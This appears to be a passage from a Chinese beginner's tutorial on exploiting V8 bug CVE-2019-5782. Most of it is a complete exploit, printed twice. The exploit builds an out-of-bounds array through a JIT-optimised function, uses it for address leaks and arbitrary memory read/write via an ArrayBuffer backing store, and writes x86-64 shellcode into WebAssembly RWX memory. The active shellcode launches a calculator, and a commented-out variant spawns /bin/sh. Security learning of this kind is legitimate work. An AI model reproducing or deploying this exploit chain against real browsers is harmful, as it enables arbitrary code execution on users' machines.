对于V8漏洞我也是新手,所以想从新手入门的角度来讲解V8漏洞。从环境搭建,到具体的CVE-2019-5782漏洞利用。会讲解很多的细节,以及V8漏洞入门的参考资料。这里首先先说个大坑,不要用mac搭建V8漏洞调试环境,我使用mac搭建的环境一直没有复现一些poc(可能方式不对),建议大家使用Ubuntu16.04,本文使用的虚拟机就是Ubuntu16.04。
我们看到这个数组中既有整型,也有浮点型,所以这里统一用了IEE746存储,2用IEE746存储是4000000000000000。由于这里面没有字符串,也没有用类似于1)那种对象指针的方式。
float2int比较简单,读者也可自己写个demo运行下,就明白其中的道理了,目的是将1.39064994160909e-309转换为0xFFFF00000000。
ArrayBuffer读写数据是通过backing_store的。所以为了实现任意地址读写,我们通常是覆盖ArrayBuffer的backing_store为我们想要读写的地址。上面的代码中我们先获取了ArrayBuffer的长度0xbeef在a2中的偏移(a2[偏移] == 0xbeef),由于backing_store正好在长度0xbeef的上面,所以偏移-1获得到了backing_stored在a2中的偏移,此时可以通过a2来操作backing_store了。具体的函数细节请参考代码中的注释。
/*-------------------------use wasm to execute shellcode------------------*/ var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var funcAsm = wasmInstance.exports.main; var addressFasm = addressOf(funcAsm); var sharedInfo = read64(addressFasm+0x18-0x1); var data = read64(sharedInfo+0x8-0x1); var instance = read64(data+0x10-0x1); var memoryRWX = (read64(instance+0xe8-0x1)); memoryRWX = Math.floor(memoryRWX); console.log("[*] Get RWX memory : " + hex(memoryRWX)); // sys_execve('/bin/sh') // var shellcode = [ // '2fbb485299583b6a', // '5368732f6e69622f', // '050f5e5457525f54' // ]; // pop up a calculator var shellcode = [ '636c6163782fb848', '73752fb848500000', '8948506e69622f72', '89485750c03148e7', '3ac0c748d23148e6', '4944b84850000030', '48503d59414c5053', '485250c03148e289', '00003bc0c748e289', '050f00' ]; //write shellcode into RWX memory var offsetMem = 0; for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8; } //call funcAsm() and it would execute shellcode actually funcAsm();
我们先泄露了funcAsm的地址,然后使用任意地址读获取了RXW区域的地址,之后使用任意地址写向其中写入shellcode,最后调用funcAsm来调用shellcode,弹出计数器。
四、完整exp,去除debug信息
/*---------------------------datatype convert-------------------------*/ class typeConvert{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } //convert float to int f2i(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } /* convert int to float if nead convert a 64bits int to float please use string like "deadbeefdeadbeef" (v8's SMI just use 56bits, lowest 8bits is zero as flag) */ i2f(val){ let vall = hex(val); let tmp = []; tmp[0] = vall.slice(10, ); tmp[1] = vall.slice(2, 10); tmp[0] = parseInt(tmp[0], 16); // console.log(hex(val)); tmp[1] = parseInt(tmp[1], 16); this.u32.set(tmp); return this.f64[0]; } } //convert number to hex string function hex(x) { return '0x' + (x.toString(16)).padStart(16, 0); } var dt = new typeConvert(); /*---------------------------get oob array-------------------------*/ function fun(arg) { let x = arguments.length; a1 = new Array(0x10); a1[0] = 1.1; a2 = new Array(0x10); a2[0] = 1.1; a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000 a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0x2a00000000 } var a1, a2; var a3 = new Array(); a3.length = 0x11000; for (let i = 0; i < 3; i++) fun(1); %OptimizeFunctionOnNextCall(fun); fun(...a3); // "..." convert array to arguments list /*---------------------------leak object-------------------------*/ var objLeak = {'leak' : 0x1234, 'tag' : 0xdead}; //var objTest = {'a':'b'}; //search the objLeak.tag for(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xdead00000000){ offset1 = i-1; //a2[offset1] -> objLeak.leak break; } } function addressOf(target){ objLeak.leak = target; let leak = dt.f2i(a2[offset1]); return leak; } //test //console.log("address of objTest : " + hex(addressOf(objTest))); //%DebugPrint(objTest); /*---------------------------arbitrary read and write-------------------------*/ var buf = new ArrayBuffer(0xbeef); var offset2; var dtView = new DataView(buf); //search the buf.size for(let i=0; i<0xffff; i++){ if(dt.f2i(a2[i]) == 0xbeef){ offset2 = i+1; //a2[offset2] -> buf.backing_store break; } } function write64(addr, value){ a2[offset2] = dt.i2f(addr); dtView.setFloat64(0, dt.i2f(value), true); } function read64(addr, str=false){ a2[offset2] = dt.i2f(addr); let tmp = ['', '']; let tmp2 = ['', '']; let result = '' tmp[1] = hex(dtView.getUint32(0)).slice(10,); tmp[0] = hex(dtView.getUint32(4)).slice(10,); for(let i=3; i>=0; i--){ tmp2[0] += tmp[0].slice(i*2, i*2+2); tmp2[1] += tmp[1].slice(i*2, i*2+2); } result = tmp2[0]+tmp2[1] if(str==true){return '0x'+result} else {return parseInt(result, 16)}; } //test //write64(addressOf(objTest)+0x18-1, 0xdeadbeef); //console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1))); //%DebugPrint(objTest); //%SystemBreak(); /*-------------------------use wasm to execute shellcode------------------*/ var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var funcAsm = wasmInstance.exports.main; var addressFasm = addressOf(funcAsm); var sharedInfo = read64(addressFasm+0x18-0x1); var data = read64(sharedInfo+0x8-0x1); var instance = read64(data+0x10-0x1); var memoryRWX = (read64(instance+0xe8-0x1)); memoryRWX = Math.floor(memoryRWX); console.log("[*] Get RWX memory : " + hex(memoryRWX)); // sys_execve('/bin/sh') // var shellcode = [ // '2fbb485299583b6a', // '5368732f6e69622f', // '050f5e5457525f54' // ]; // pop up a calculator var shellcode = [ '636c6163782fb848', '73752fb848500000', '8948506e69622f72', '89485750c03148e7', '3ac0c748d23148e6', '4944b84850000030', '48503d59414c5053', '485250c03148e289', '00003bc0c748e289', '050f00' ]; //write shellcode into RWX memory var offsetMem = 0; for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8; } //call funcAsm() and it would execute shellcode actually funcAsm();
漏洞效果: